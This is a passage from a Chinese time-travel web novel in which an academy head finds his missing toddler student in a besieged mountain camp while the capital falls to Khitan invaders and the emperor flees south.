事已至此,也没办法了,几个人只能带着大部队随意挑了个山寨,简单休息,等第二日,再回程北行。 可谁知,当晚,便被人立马围了起来。 颜大将军站在人群外冲他们喊话道。 “大胆山匪,也敢假扮正规军?我等深受皇命奉令剿匪,你们到底是何人?也敢聚集大军,密谋反叛?如今,还不速速投降?若稍有迟疑,小心我就地正法,将你们这些匪徒首领统统斩杀!” 折继世/李元昊/赵天阙:??? 什么时候我们成匪徒领首了? 第102章 第102章进士牌坊 折继世慌了。 他们府谷折家可是几代忠勇,即便是党项人出身,也从未背叛过中原一日,战场上杀敌无数,一世清名,可万万不能毁到自己的手里啊! 折继世本想着出去解释一番,禀明前因后果。 可谁料整个山寨被围得水泄不通,但凡冒出个脑袋来,对面阵营里便立马有人放箭,压根不给他们反驳的机会。 这一下,可算是彻底麻了爪。 颜大将军阵下,贴身亲兵看着对面寨营里的动作,犹豫问道。 “将军,我怎么觉得他们好像有什么话想说的样子?要不……咱们让放箭的兄弟们稍稍歇一下,问问其中是否有什么隐情呢?” “能有什么隐情?” 颜石开一边啃着鸡腿,享受着底下县城里的贡奉,一边压低了声音,毫不掩饰道。 “都说聚者为寇,他们一大群人持械而行,进山扎营,那便是心怀叵测的实证啊!更何况,听闻那什么匪首不是还懂什么召唤雷电之术?咱们不围着,谁知道他什么时候发动袭击?你想想,朝廷就给咱们派了这么点儿的人,干什么非要这么急匆匆的完成任务呢?回到京都,不是被那群文官排挤,便是成日里被困在院子内,不得舒展,还不如干脆在这里陪他们耗着呢。反正兵不见血刃,又有人贡奉着粮草,慌什么?索性就这么围上半个多月,等那些山匪粮食吃尽了,才是动手的最好时机。” 亲兵忍不住竖起大拇指来,赞道,“将军英明啊。” 能聚集起如此之多人,那匪徒必定是穷凶极恶! 而他们不过才三四千人,真打起来,拼起命,可不一定是对手,即便赢了,伤亡折损肯定也还是很高。 不如索性耗着,能不战而屈人之兵,自然是最好的。 于是,两方就这么各怀心思的僵持了下来。 赵天阙等人被逼的没有办法,出又出不去,谈又谈不了,只能躲在营寨里暂时安置,空气中弥漫着一股无形的焦灼与紧绷,大战似乎正酝酿,等待着一触即发。 “要不,我们干脆拿火药跟他们拼了算了?” 围困几日后,李元昊终究憋不住的提议道,结果被赵天阙反手一巴掌拍在了脑袋上。 “坏!” 奶声奶气的控诉,令李元昊委屈的抱住了自己的脑袋。 “我坏?你有没有搞错啊,他们这分明是想要把咱们给围死!若粮食耗尽了,咱们走不了,被逮住了,不是还得牵连到山长那里吗?倒不如一不做二不休,干脆连着颜将军一起杀了,人死两清,这世界上自然就没有人能够再告状了啊。” 见赵天阙似乎真的思考起了这个方法的可行性,折继世连忙劝阻道。 “你莫要胡说!那可是朝廷的军队,只要动手,咱们就是真的做足了反贼的罪名了!你难道想让山长全家十八代都一起死无葬身之地么?” “那你说咋办”李元昊不耐烦道。 折继世思考了一下,“这样吧,先让人去给书院送信,求助谢君仪和沈亦他们,让他们来一趟襄州,帮咱们解释解释,就说咱们什么都没做,只是帮忙平反而已。误打误撞,才造成了这种局面。” “那能行吗?他会信?” “好歹有安庆侯和谢家的背景压着,起码颜大将军不敢得罪,还是会听一听的吧?” 两个人商量完,齐齐看向小师妹。 赵天阙啃着手指头思考着,最终点了点小脑袋,选了个底下的人,趁着半夜偷偷跑出去,送信给伊川。 且不说这送信的人寻找华夏书院,有多么艰难,一路上行文通牒要如何解决,等真正跑到河南府,又经历了多少的岁月。 只说因着送了信,三小只觉得这事肯定会解决,心里稍安,索性也不忙着突围了,干脆把寨门一关,真的开始种起菜、经营起日子来。 而另一方,千里迢迢奔回书院的童启仍不知赵天阙丢了的事实,他还在和一路上的各方官员周璇客套。 好不容易靠近沧澜山,又被那一排排的进士牌坊所震撼。 “这是……” 白色的大理石整齐恢弘,沿着书院的山路脚下一路往上,每隔五步,便是一座。 其上镌刻着【状元及第】、【进士及第】等字样,刚劲有力,荣耀非常。 章县令得意的摸着自己的胡须,道,“这乃是乡老们一起凑钱 修的,本想要修在学生们各自的村落里,可因着大家出身皆不同,未免看起来过于散漫,于是便干脆吴韧、汪启元等人的意见,将牌坊统一建在了书院的山脚下。这样等以后华夏书院再有进士出身,便可以一路修过去,设置成进士牌坊一条街,倒也是一桩美事。” 童启怔愣的看着那些村民带着自己家的小娃娃过来触摸进士牌坊的样子,心里软乎乎,感动不已。 时值四月底,伊川县的县试早已经结束,中榜名单自然也公示了出去。 他试探着问向一旁的章县令,这一届华夏书院的上榜情况,对方大笑着拍了拍他的肩膀道。 “我还以为你并不关注呢?难道一路上你都没听到什么风声吗?这一次县试,你们华夏书院可算是出尽风头了!” 童启细问之下才知晓。 原来,这一届的伊川县县试,榜首依旧是他们华夏书院,一共参加了十五个人,便有十五个人再次全员上榜! 其中以王世昌成绩最为优异,夺得榜首。 紧随其后的便是全岸轩、程勤、莫小川、戚风言、谢君仪、沈亦、谢羽等…… 黄榜贴出,简直活像是华夏书院期末考排名一般,整整齐齐。 直到第十名才有其他人的出现,打断了这支队伍。 没想到清虚子的小道童竟然也去参加了县试考核,童启顿时欣慰不已,然而想起什么,整个人顿时一僵,难以置信道。 “等一下……你说谁拿了榜首?” “王世昌啊?你们书院这一届第一不一直是他吗?哪里有什么悬念啊。”章县令蛮不在乎道。 童启直接懵了。 不是,虽然大奉朝允许异地参加县试考核,可确实是不允许女性参加科举的吧?不然也不会身体检查的那么严格? 结果呢?你现在跟我说王世昌拿了第一? 她怎么拿的? 又是如何过的检查那一关呢? 他看着章县令一无所知的样子,心中忐忑不已。 原本还想着让王世昌走三皇子那条特殊通道,入朝为官呢,现在也不必了,人家直接考完了? 就……离谱。 他带着这份浓浓的怀疑与惊愕,进入了沧澜山内,满肚子疑惑,却因为人多只能暂时忍下。 然而刚到书院门口,“当事人”便直接慌里慌张的冲了出来,见到童启后,更是一脸心虚道。 “那个……山长,你怎么突然回来了?” 啊啊啊,怎么没人通知啊? 她们可还没有把小师妹给找回来呢! 童启皱着眉看她吞吞吐吐的模样,问道。 “你这是怎么了?今日不是休沐日吧?书院里的其他人呢?” 怎么上课时间任由大门开着,随意进出? 柏老呢?潘阆先生呢? 没人管的吗? 王世昌连忙打断道。 “那个,那都不是重点!山长,我要先跟您说一件事,可能会有些荒唐,但您听了之后,千万别慌,一定要稳住。” 童启愣了一下。 实在不知道还有什么是比对方天衣无缝考上县案首还要更荒唐的。 这还不是重点? 那什么是重点? 王世昌深呼吸几口气,闭上眼破罐子破摔道。 “小师妹丢了。” ……谁丢了? 简单明了的说完了前段时间的整个事件,童启第一反应就是,开玩笑。 他们可是一路上从京城走回来的,这官道可就这几条,怎么可能见到赵天阙他们却没认出来呢?说什么去京城找他了,三个小孩子,怎么找?而且真若去了京城,他们也不可能不知道啊? 这都多长时间了? 然而看着整个书院几乎全体出动,没有一个落下,不像是假话的阵仗,童启这才渐渐慌了。 “你们问过城门口的村民了吗?可有见到他们?” 没想到刚回来就被这件事瞬间牵动心弦,童启人都麻了。 吴韧、郭胜开等人也急忙放下手里的东西,紧急出动,无心去管什么亲事了,陪着山长便一同去寻找孩子。 三个小孩,最大的年龄也不过就十六七岁,最小的今年才一岁半! 怎么可能突然就人间蒸发呢? 听到城门外似乎有人见到他们的身影,童启连忙带着王世昌等人便跑了过去,结果却听到他们往南走的消息。 “往南走?他们往南做什么?那边水患频发,如今正在闹起义……” 一群人霎时变了脸色,当即雇了几辆马车,便往南赶。 一路上追问不断,十几日,才总算到达了襄州。 幸运的是,沿路他们并没有见到任何的山寨匪徒,可以确保三小只应该安全。 可不幸得是,大概走到第三个山寨门口,童启便发现了火药的痕迹! 这东西,他只给了杨舟万,对方如今尚在京城,怎么也不可能泄露出去,那剩下的,便只有一个人了,就是当时誊抄时,以为对方看不懂,便让其待在旁边的赵天阙。 到底是对方拿出来用的? 还是有人绑了她,从她身上搜出来的呢? 越是往南,童启便越是沉默了下来,心里的估量也越是消极。 因为实在是有太多人聚集的痕迹了,这场面,绝对不只是三个小孩子便能够造成的。 他认为,最大的可能是赵天阙已经死了,而残留的一丝侥幸,却是,希望她只是被匪首绑了。 被当做人票,存在于反贼之中。 直到……他们沿着那痕迹,找到颜大将军的阵下,这才听闻对方与一个山寨僵持在了一起,久攻不下。 第103章 第103章京都陷落 完了,那山寨里的匪首很可能就是一路上绑了赵天阙他们的人啊! 想明白这个的童启,立马便托人求见了颜石开颜大将军。 听到华夏书院的山长求见,颜大将军也是很茫然。 他一向与书院文人什么的压根沾不上边,顶多与柏大将军相熟一些,听说过对方好像去华夏书院踢过蹴鞠赛,其他的便不了解了,如今不是刚刚会试科考结束么?这童启不在京城里待着,来南边做什么? “让他进来。” 端起自己将军的模样,颜石开穿上铠甲,坐在首位上,见到童启缓缓走了进来。 第一眼,自然还是惊讶于对方青涩的年纪。 可紧接着,便是惊愕于对方开口后,提出的请求。 “颜大将军,请立刻停止攻击山寨!其内的山匪们,很可能挟持了我们书院的学生!” “什么?” 挟持了学生?颜大将军懵了。 这华夏书院的学生不大都是北方人吗,什么时候来南方了,还卷入了山匪之中? 听着十分离谱的事,可基于这朝代文臣远比武将要金贵的多,颜大将军也不敢摆架子,立马便令人开了后门,让弓箭手暂时停手,给了童启充分的空间,前往和山寨里的人谈判。 听到有人来谈判,寨子内的李元昊烦躁的摆摆手,回绝道。 “估摸着又是骗咱们出去的!这个颜大将军我算是看出来了,没什么本事,净会坑蒙拐骗!半个月了,动不动就让咱们出去,然后便放冷箭。任由他叫吧,锁死了寨门,不要理会便是。” 反正粮食还能吃上个好几日,他们已经给书院送了信,等谢君仪等人到了,事情自然便能够解决。 李元昊庆幸的想着,压根没料到会有山长亲自找过来的可能性。 而童启站在寨门口,喊了很久,都没人管,不由的有些泄气。 童继世带着人,绕着这寨子转了一圈,试图突破,回来后暗暗与童启说道。 “山长,这一伙人并非简单的人物,我看了,明显是有组织有计划的,不仅纪律分明,还各司其职。我方才带着人想从后面翻进去看一看,没想到竟也有人守着,只怕,不是一两日才成为山匪的。” 这话,令童启顿时陷入了思考之中。 农民起义,一般都是目无章法,走到哪里算哪里,只凭借一股子蛮劲儿。 如此训练 有素? 难不成……是什么逃兵或者其他势力残留下来的人吗? 他见到一时无法解决,等了一会儿,只能暂时带人回去,想要询问一下颜大将军的意见。 可谁知,正在这个时候,伴随着黄龙府彻底沦陷,契丹南下劫掠的消息席卷整个大奉朝,皇帝直接连发三道金牌,急召颜大将军速回京都! “什么,京都沦陷了?” 童启一行人听到这个消息,只觉如同在做梦一般。 他们刚刚才从京都回来啊! 怎么会这么快? 猝不及防的局势变动,简直如同弓弦上架好的箭,容不得人任何犹豫。 当即,什么山匪贼寇反而都不重要了,颜大将军立刻带着士兵,便疯狂的往京都赶去。 童启等人也十分忧心,尤其他带的学生们才刚刚考中进士,屁股还没坐热呢,京都就出了这么大一摊子事,万一如何,那岂不是十年寒窗,都白费了? 童继本等人面面相觑,问道。 “怎么办?山长,咱们还救吗?” 颜大将军都走了,只剩他们十几个人,如何能攻得了四五百人的山寨呢? 可万一天阙真的在这寨子里…… 童启严肃的思考着,“顾不得那么多了,能不能行,总得试一试。” 不论如何,他都得为每一个学生负责,即便是受伤,也得把他们平安带回来才是啊,尤其赵天阙还是他亲眼看着长大的,意义更是不同。 想好了动手的时间,他秘密召集过来所有的人手,将火药包一一发了下去。 “这东西威力极大,我已经尽量把剂量调小了一些,你们绕着继本叔下午勘察的地方,围着山寨整个埋上一圈,等着示意后,便立马点燃火信,尽量别伤人,只把他们逼出来就行,颜大将军刚走,他们必定毫无准备,这个时候动手,定能将他们打的措手不及。” 几个护卫队的人拿着那沉甸甸的火药包,一脸严肃的点了点头。 夜色正好,山寨里的人安然准备入睡。 赵天阙仍旧在数着自己此次“剿匪”得到的金银之物,除去给折继世和李元昊瓜分的,剩下的全部都留给山长! 这个好看,给山长,这个也好看,也留给山长! 她挑挑拣拣,如同守着山洞宝库里的巨龙一般,满眼期待。 然而,随着寨外一声鸟鸣声响起,突然,巨大的声响直接炸的整个寨子里的人醒了过来。 李元昊咕噜着从床上滚下,一把捞起赵天阙便准备往外跑。 折继世等人也吓得不轻,忙大声喊道。 “什么情况?有人攻寨?别慌,都把武器拿起来!护好女子和家眷们,男人们,随我来……” 话音未落,恰好与门外攻进来的童继本等人对上眼睛。 童继本:…… 折继世:“……继本叔?” 两方四目相对,沉默不语。 一听到这个名字,赵天阙顿时死死拉住李元昊的衣领,整个耳朵都竖了起来! 她记得这个名字! 每次山长出门远行,或者要去做什么危险的事情时,这个名字都始终跟随在山长身边!那么,同理可得,既然他来了,那山长肯定就在附近了? 山长!! 一排排的火把瞬间照亮整片区域,童启这才发现,原来对面领头的匪徒竟然就是折继世! 再转头一看那旁边被李元昊抱在怀里的,不是失踪已久,吓得人鸡飞狗跳的赵天阙,又是谁? 对方一见到童启,顿时兴奋的跳了起来,一蹦一蹦的,差点令李元昊抱不稳。 “山长!抱抱!” 黏腻的小奶音,亮晶晶的双眼,赵天阙竭力举起手望向童启。 可对方却脸一黑,直接把人拎过来,照着屁股就狠狠打了几巴掌! 众目睽睽之下,所有人眼睁睁的看着。 这还是童启第一次朝赵天阙发火,用的劲儿,瞬间就把孩子给揍哭了。 嘹亮的哭声响彻在山涧中,好不凄惨。 赵天阙狼狈挣扎着,大喊着山长坏。 打完,童启不再理会,将人往李元昊怀中一扔,带着人便往山下走。 他奶奶的,小兔崽子闹了这么大一出,差点就让他用火药,亲自手刃自家徒弟了。 也就幸亏颜大将军走的早,不然他都不知道该如何跟对方解释! 一场乌龙,令童启生了一肚子气,再加上京都内令人焦灼的消息,整个队伍里,无一人敢多说什么。 童启沉默着让所有人就地修整,第二日,再赶回书院。 营帐内,他独自坐在书桌旁,翻看着皇帝临行时给他颁布的秘旨,还有那一把金碧辉煌的尚方宝剑,神情凝重。 他努力回想着历史上原本这一段时期应该发生的事情,却惊讶的发现,好似历史正在逐渐的修正之中。 大奉朝的开国皇帝,按理说可比原本的赵匡胤要厉害的多,可其颁布下来的十分具有前瞻性的各项观点,却一点点消失不见,转而替代的是原本历史上北宋所使用的政策。人物虽换了一批,可重复的还是老的道路,那算什么改变历史啊?他穿越到这里也有数年了,听闻过的关于赵爱国的事情却越来越少,按理说一个朝代的建国皇帝,怎么也应该在历史上具有浓墨重彩的一笔,可问及很多大儒的时候,他们竟然犹豫许久,就像是从记忆深处竭尽全力,才勉强回忆起零星模糊的事件一般。 这根本不符合常理啊! 原本以为,幽云十六州的存在,便已经能够证明大奉朝与北宋的截然不同了。 可如今京都的沦陷,却让童启也渐渐拿不定主意了。 “系统,你真的确定我最后桃李满天下的任务成功了吗?” 他情不自禁的问道。 可系统并无回答。 冥冥之中,就如同有一双无形的手在控制着历史渐渐偏移回来,逐渐抹去了赵爱国的存在,令人触目惊心。 回忆起系统的说辞,声望值的兑换,远不属于这个时代的抽奖券。 他真的在做桃李满天下的任务吗?还是…… 童启犹豫着,点开系统的对话框,又缓缓关上,他还是害怕,不敢去揭露这背后真正的原因。 如果说不论他做了什么都逃不开原本历史的安排的话,他想,他应该会受不了这个解答。 “宿主不必担心。” 系统仿佛感受到了什么,突然开口道。 “只要你最终任务能够获得成功,达成桃李满天下的声望值,那么,这些原本的历史事件就会被你所造成的事件所一一替换。你担忧的那些过去不会发生,历史是可以改变的,只要你最后能成功。” “什么意思?”童启追问道,“那若是我最后失败了呢?” “那恐怕你就会像赵爱国一样。” 系统冰冷的解释道。 “我们所在的时空正是为了不断实验历史如何能够被改善而存在的。若你们这些外来客无法彻底达成最终成果,那么便会被天道慢慢抹去所有的存在。渐渐回到原本的路线。” 后世前仆后继,不是没有人试图改变过历史,可都没有达成最终的结局。 换来的,便是一百年一变,天道重新修正的结局。 “所以,如果我没有成功,也会被这个时代的所有人所遗忘吗?”童启难以置信道。 “不仅你。还有你所造成的所有事件、改变,以及你的学生们,亲友、老师……都会被这个时代所遗忘。” 那时,才是真正的消无。 两个人逐渐沉默下来。 深深感到了一股无力与可怕。 门外,赵天阙捂着自己的小屁股,一点点挪了进来,见到童启坐在书桌旁,一脸严肃,顿时小心翼翼的轻声唤道。 “山长。” 童启看了她一眼,不理会。 “山长。”声音稍大了一些。 童启仍旧不理,低下头翻看着手中的书卷。 “山长,山长,山长!”一连串的呼唤,倔强的声音中带着一点哭腔。 童启这才抬眸看向了她。 赵天阙眼中含泪,可怜巴巴的爬进了童启的怀中,紧紧拽着他的衣角道,“我错了,师父。” 奶香柔软的皮肤令童启满肚子的怒火,瞬间没处可发。 罢了,这还只是个一岁的孩子,她能懂什么呢? 即便做错了,也是大人事前没有教导过,你总不能与一张白纸去争论它上错了色吧? 童启叹了口气,直接将怀里的小崽子抱到一旁坐下。 “你知道自己哪里做错了吗?” 赵天阙点点脑袋,乖巧的啃着手指头道歉道,“找,山长,师兄们,急,错错,对不起。” “但是!骗我,糖!” 她一脸控诉道。 “是,哄你去买糖是我的不对,可你再焦急也不能就这么不打一声招呼来找我啊,很危险的!你知道书院上下都慌 成什么样了吗?自从你丢了,你王小花姐姐连课都上不了了,大家都围着你转,去找你,你看看你给多少人添了麻烦?” “对不起。”赵天阙瘪瘪小嘴。 “这个回去你跟大家自己去说。还有李元昊,折继世那边,你以为让他们跟着你就安全了?那是因为你们遇到的人攻击性不高,不懂伪装。若真有那人贩子,拐子,装成可怜的模样把你们迷晕了卖到大山里怎么办?打折了腿让你们去天桥上乞讨怎么办?那你这辈子别说想要再见到山长了,就连河南府都再也别想回来了。” “至于那些山寨匪徒的事情,你自己惹出的乱子,自己去平。知道为什么那么多武将到最后都难以成立国家吗因为他们只懂打天下,不懂的经营天下,百姓们是要养的,你就这么把他们带出了自己的家乡,可想好了如何安置?如何照料?百姓也是人,不是你放羊一般驱赶着走就可以的,要为每一个相信你的人所负责。明白吗?” 赵天阙点点头,眨巴着大眼睛认真的听着。 童启摸了摸对方的小脑袋瓜,从怀中掏出了一幅地图来。 这是他在御书房见到的那张,出了宫,便直接临摹复制了,别说,还是这张图最全,地理位置也最为清晰。 两个人凑在地图前,看着黄龙府到京都的距离,忧心忡忡。 “你能看懂吗?这个便是咱们如今的大奉朝疆域图了,这里是伊川县,这里便是皇帝所在的京都。前几日消息传来,黄龙府沦陷,有一支契丹人突破了柏大将军的防守,一路往南去了京都,如今整个京都毫无防守,只剩禁卫军、护城军,也不知道,能不能守得住。” 他喃喃道。 跨过黄龙府,便是一马平川的中原。 无险可守,无山可躲。 颜大将军即便火速往回赶,只怕也有些急啊,不过火药方子尚在杨舟万手里,应该……无妨吧? 他严肃的看着那地图,思虑起皇帝的托付,不知要不要再往北去一趟。 再看旁边,赵天阙已然呼呼大睡起来,一整日的操劳,让小小婴儿的脑容量直接告罄。 童启笑了笑,将其缓缓放在小床上,继续思考着今后的计划。 第二日,一群人往书院赶,沿路见到不少拖家带口往南奔的百姓们,心里愈发沉重起来。 柏老等人已经提前收到消息,等候在伊川县的城门口。 见到他们回来,忙迎了上去。 “情况怎么样了?京都那里如何?” 童启忙问道。 “形势只怕不好。”柏老一脸严肃,“昨日前线新传回来的消息,说是蓟州、涿州、瀛洲相继沦陷,皇帝陛下已经放弃了京都,正准备带着朝中大臣把都城迁往开封去……” “什么?这个时候迁都?” 童启只感觉大脑胀痛,离谱的让他有些想笑。 哪里有帝王主动放弃都城,往南迁的?还是在这个时候? “那京都里的百姓们要怎么办?” “听说都在收拾东西,打算一起往南跑,不少商人、世家已经先走了,估计要不了多少时间,京都……就要一并落入契丹之手了。” 童启:…… 也是,皇帝都跑了,他们还守个什么锤子哦。总不能希冀着平民百姓去固守城池吧?那才是真正的荒唐! 既如此,那他还要去前线说和吗? 都这个样子了,还用得着去吗? 许是自古以来从没有经历过如此耻辱的事情,整个书院上下,连带着伊川县都在讨论这件事,对于皇帝的逃跑,大臣们的懦弱而感到愤怒与不争。 汪启元的信千里迢迢加急送了回来,劝说郭胜开、吴韧等人不必回京,直接前往驻地赴任即可。 与此同时,信中还详细说明了造成如今这种情况的真正原因。 原来,自六皇子的舅舅徐将军去往前线后,便一直自恃身份,死命的打压柏大将军,唯恐其抢了自己的风头,于是将柏大将军调离了黄龙府,前往泰州解决山匪劫掠之事。而契丹人见状,则趁此机会越过边境线,突破防守,不仅砍伤了徐将军,还带着一队人马,一路进入了蓟州,等柏大将军发现回防时,已经来不及了…… “该死的外戚!”折继世忍不住骂道。 其余的先生们也均是一脸颓丧与丢人之色。 童启长叹了口气,对眼下这个糟糕的情形,又越加降低了几分评判。 覆巢之下无完卵,若真的开启乱世,谁又能避得开呢? “我想,我必须得先回一趟京都了。” 他说道。 语气坚定。 第104章 第104章弃城而逃 对于童启的这个决定,全书院的人都十分反对。 即便山长从小便始终重视体能训练,射箭、蹴鞠都相当厉害,可不管怎么样,文人始终是文人,与那些能上战场,力能扛鼎的武将不是同一个档次级别的! 如今眼看京都沦陷,皇帝都跑了,北边乱成一团,他们能做的只有自保,积蓄实力。 若亲临战场,岂不是拿自己的性命来冒险吗? 君子不立危墙之下! 更何况身涉险境? 然而,童启顾不得思考那么多,他必须回去! 因为皇帝的密诏、尚方宝剑还在他的手中。只要大奉朝还没亡国,他所肩负的任务就不可能清除。 大奉朝不能乱! 最起码,不能这个时候乱。 童启抬起头,望着书院里一张张青涩的脸庞,目光决绝,道,“我也知此行危险重重,可这并不是退缩或者视而不见的理由。我的学生们还在那里,京都的百姓们也还在那里,我必须北上,和四皇子谈一谈。” 不论这场对谈的结局如何,有多么艰难,他都得全力试一试。 “那山长,我跟您一起去。”折继世道。 “那我也一起。”谢君仪道。 “啊啊啊!宝宝!我!”赵天阙忙举起自己的小手蹦跶着,坚决不让童启再将自己给抛下来了。 可童启统一拒绝。 “这一趟很危险,我不仅要去京都,还得去黄龙府,更可能深入契丹那边,是生是死,都未定。这是我承诺下来的事情,理应遵循,可却不是你们的使命。轻装简行,或许还有转圜的余地,人多,却未免不妙,我带着继本叔和几个人去就好,剩下的,则乖乖留在书院里上课复习。” “可是……”谢君仪还想再争执一下,却被挡了回去。 “你还有别的任务。皇帝南迁,契丹攻城,正值混乱的时期,我们距离开封府不远,说不定会引起有心之人的觊觎。越是这个时候,书院里越是要稳下来,谢君仪,你和王世昌、戚风言作为二年级的代表,共同辅助先生们守好书院,在我离开的这段时间内,不准让任何人随意进出。休沐日暂时被取消,大家乖乖待在书院里,不论听到什么动静,万万不准出去。把所有的防护墙以及电网全打开,只要你们不主动开门,便不可能有人能闯的进来,明白吗?” “是,山长。”谢君仪等人蔫蔫的应声下来。 “至于折继世,你带着沈亦、莫小川再回一趟襄州。” “襄州?” 几个人皆有些疑惑,旁边的李元昊、赵天阙等人顿时心虚的低下头。 “对,你们去时带上一批物资,尽量低调一点,那里有几百的村民,无家可归,你们看要如何把他们安顿进附近的村落里,尽量不引起其他人的注意。若当地的县令官员有所意见,就说是颜大将军的嘱托,你们是来负责收尾的即可。让沈亦去交接,必要时……可以用身份压制一二。”他暗示道。 沈亦等人虽不明所以,但是也立马听令。 几个方向顿时准备起来,吴韧和郭胜开原本也想要帮忙,但是却被童启赶 出去,令他们即刻走马上任。 驻地不能乱。 尤其是郭胜开所在的环县,和西夏、女真接壤,若再乱掉,那大奉朝真的可以洗一洗,原地下葬了。 至于李元昊和赵天阙俩人,就暂时留在他身边。不然一个错眼,又捅下个篓子,那他就真的要揍人了,还不如放在眼皮底下呢,好歹还能看管着。 王小花听闻后,也要求一同前往。 童启想了想,应允了。 一行人匆忙的为远行做着准备,从售货机内兑换出了很多物品,童启特意多拿了几把匕首出来,分给了外出的几位学生,让他们用来自保。 沈亦等人看着那削铁如泥,不像是寻常做工的精致匕首,小脸上皆是一阵的肃穆,可不约而同的,却都没有开口问些什么。 期间,皇帝的催促曾多次到达华夏书院。 皆是希望他能尽快北上的。 童启不敢再耽搁,接下旨意后,便忙带着尚方宝剑、诏书等,往京都赶去。 而此刻的京都,也正在经历一场翻天覆地般的浩劫。 最先知晓契丹南下消息的,其实不是皇城,而是常年在北方做貂皮生意的商人,他们行色匆匆,驾着车回来收拾东西,一家老小准备往南逃。 这动静极大,不知怎的传到了世家那里,吴家家主听闻后,立马求证,当晚便决定举家搬迁。 这事情他们早已习惯了,几千年皆是如此。 反正不管谁坐江山,谁当皇帝,能保住的唯有手里的财富,大不了躲起来避上一段时间,等事情尘埃落定了,再回来。 新皇登基总是需要拉拢世家的,到时候只要态度放的端正一些,三朝元老有什么,他们能再当个千年百年的世家! 日子不还是照样过? 当然,也有那不希望改朝换代的人,比如谢家,他们家王妃还在宫里头呢!十三皇子今年刚满两岁,怎么也不像是能够成为下一任皇帝的年龄,所以无论如何都得稳住! 于是,谢家家主当晚便急急入宫,求见皇帝,劝说着皇帝往南迁移。 他跪在大殿之上,说的涕泪横流,真心诚意。 “……私以为退一步并非是示弱,而是为了保全祖宗家业,待今后时机成熟依旧可以返回京都,夺回中原!如今形势危急,万不可以龙体作为赌注!且契丹凶狠,若冒犯龙威,挟天子以要挟天下百姓,那时才是真正的祸害!还请陛下南迁,保存实力,以大局为重啊!” 皇帝高坐在御座上,摩挲着腰间的串珠,脸色阴沉不定。 胡丞相在内阁处理着奏折,听闻后,大怒,当场便带着一众阁老大臣们上殿求见。 “还请陛下莫要听从这种祸心之言!谢泾川!你到底是何居心,竟然劝说皇帝迁都?此乃朝政大事,岂是你一个人便可以置喙的?我不知你从哪里得来的消息,但北面有柏弓良和徐将军联合防守,不可能任由契丹人闯入!况且即便契丹南下,我等也应该誓守京都才是,岂可如败家之犬一般惶惶而逃?你自己愿意离开,那便自行离开即可,这般蛊惑帝王,我大奉朝的脸面、体统难道皆弃之不顾了吗?” “比起陛下的安危来说,那些虚无缥缈的算个什么?”谢家家主据理力争道。“如今这消息已经是连市井百姓们都知晓的事情,你们这些大臣还要躲躲藏藏到何时?这天下是皇帝的天下,自然应该以皇帝为重!难不成就这么眼睁睁看着契丹人闯入,任由君主受辱吗?胡丞相说我居心叵测,那我倒要问问,你们连陛下都瞒着不说,到底是想要做什么?难不成是想扶持新皇上位吗?” “谢泾川!你莫要胡说!”旁边的齐承胤心惊胆战道。 胡丞相带着一众官员呼啦啦跪了一地。 “请圣上明察,臣等绝没有此大逆不道之心啊!” 皇帝沉默的俯视着下方,透过珠帘,依旧看不清任何表情。 谢家家主长嚎一声,索性伏地大哭起来。 “陛下啊,我乃是真心实意为了您担忧啊,他们图的是青史留名,我却只希望您身体康健!留得青山在不愁没柴烧,时间紧急,来不及多虑了!” “陛下,还请您相信柏大将军,他们不会眼睁睁看着京都陷落的。” “不怕一万就怕万一!若真的出了什么事,胡丞相您能负责吗?黄龙府、蓟州已经被攻破,不出十日,京都定然被围,到时候再想走,就真的来不及了!” 两方僵持着,争吵不休,皇帝抬手令他们停下。 “谢卿也是为了朕的安危,但胡丞相说的有道理,迁都乃是大事,还是要从长计议才是。” 凭借着和稀泥打发走了两波的人,当晚,皇帝站在御书房内,看了一夜的地图。 第二日,便有前线确实的消息传了过来。 送信官几乎跑死了三匹马,风尘仆仆倒在了皇城门口。 “急报——契丹将领耶律休哥砍伤徐将军,率三万人突破防守,南下攻城,蓟州、涿州、瀛洲已经相继沦陷,还请陛下急召其他将领回京防守!以保安全!” 随着这声呼喊,整个京都瞬间乱成一团。 当下,也顾不得谁是谁了,但凡不想死的,拖家带口便往城门外赶。 四个城门皆被挤得水泄不通,人流拥挤,踩踏受伤者众,还是大皇子出面安抚,表示一定不会放弃京都,弃城而逃,这才勉强安抚住了一部分的人。 可真的不逃吗? 皇帝陛下急召皇子、阁老们商讨了一整日,第二天便以出城狩猎为由,南迁开封! 等不少百姓知晓后,整个朝堂上的官员大臣们已经走了一大半。 深感背叛的百姓们将少部分尚来不及离开的官员府邸团团围住,烧杀打砸,以泄私愤。 “这些官老爷分明就是故意害我们!” “说什么没事,劝我们别走,结果他们反倒先逃了!” “杀了他们,把他们都杀了!” …… 漫天的哭喊声、打砸声、咒怨声。 街道上全部是被抢掠的布匹、家具,金银财宝,女人们被拽着头发拖了 出去,闲汉们围殴着来不及关闭的店铺铺主,官员的府邸被一个个搜刮干净,嬉笑谩骂的点燃,烟火弥漫至高空中,引起万人悲戚。 有人难离故土,誓死不走,有的则趁乱发财,以逞私欲。 人性的恶与善蒸腾在这片土地上。 乱了,全乱了! 第105章 第105章火药方子 自童启离开京城后,杨舟万便一直呆在郊区庄子上进行着火药实验。 “嘭”的一声,巨大的声响,如同惊雷一般,炸掉了半个茅草屋。 也令逃到附近的百姓们吓得瞬间伏地不起。 “是天灾,天灾降世啊!” “肯定是老天爷在惩罚我们,不让我们逃离故土!” “可皇帝都跑了,不惩罚那些官老爷们,为什么要惩罚我们啊?” …… 窃窃私语之中,杨舟万一身官服缓缓走出,率领着几个部下,上前查看火药的威力。 他拿出小本本,小心翼翼记录着。 山长给的配方虽全,可杀伤力实在是太大了,耗费的原材料也极多。 木炭与硝石等物还稍微好找一些,可硫磺却极其难得,逼得他不得不改低一点配方,尽量控制在能够大幅度产出,且性价比最高的程度。 今日总算是彻底成功。 因着一门心思钻入其中,所以京都里发生了什么,杨舟万一概不知,猛地见到这么多百姓跪地颤颤巍巍,不由唬了一跳,问道。 “你们这是要去哪里?是犯了什么事吗?” 这年头故土难离,非绝境、强迫之类的,很少会有这么多人一同迁徙。 领头的村长看了眼杨舟万身上的衣服图样,小心翼翼回道。 “禀告大人,我们乃是附近的村民,因着契丹南下,所以要往南避难去。” 避难?契丹南下? 不过才一个月左右而已,他这是错过什么了? 零零散散,东拼西凑,杨舟万才勉强得知发生了什么事,当场便急急的策马离开,召集庄子上所有的下属们往京都内赶去。 “大人,咱们这种情况,还要回京吗?” “当然,就是这种情况,才要回京啊!”杨舟万看着自己这一个月内生产出来的火药包,心里悔之莫及,这才总算是知晓了山长走之前说的那句话是何意。 